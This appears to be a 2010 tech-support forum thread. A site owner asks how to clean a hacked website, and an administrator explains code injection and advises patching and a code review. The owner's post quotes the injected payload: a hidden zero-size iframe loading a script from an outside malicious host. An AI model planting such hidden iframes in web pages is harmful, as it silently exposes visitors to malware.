OMG My Website Has Been Attacked! How to remove badware?

Ameliaa · Apr 20, 2010

Hello,

I just checked my website this morning and found that it has been attacked! :cry

http://tinyurl.com/yynyee9

I have since changed my password, but I have no clean backup copies of my files. How do I detect the malicious scripts and manually delete them?

According to google webmaster, it is a form of iframe:

<iframe width=0 height=0 style='display:none' src="http://ad
sanalytics.net/in.cgi?2"></iframe>

But I can't seem to locate the iframe code on my website.

To all the experts out there, please help. Thank you.

TimW · Apr 20, 2010

Problems like this are really more of a vulnerability issue and not truly malware. How people write their website code, how old/unupdated the software they write it with, and how secure the servers that host it are really the areas to look at. Issues here are commonly referred to as code injection ( see: http://en.wikipedia.org/wiki/Code_injection ) The things we do in this forum are not going to find problems in your code. None of these malware scanners will since they are not design for this purpose.

You are going to need to have a very good webpage developer check the code for security issues and you need to verify that all software being used has been updated to include all security patches. In addition, you need to make sure that the server hosting the website also has been fully updated.

Log in or Sign up

OMG My Website Has Been Attacked! How to remove badware?

Ameliaa Private E-2

TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

Log in or Sign up

OMG My Website Has Been Attacked! How to remove badware?

Ameliaa Private E-2

TimW MajorGeeks Administrator - Jedi Malware Expert Staff Member

Useful Searches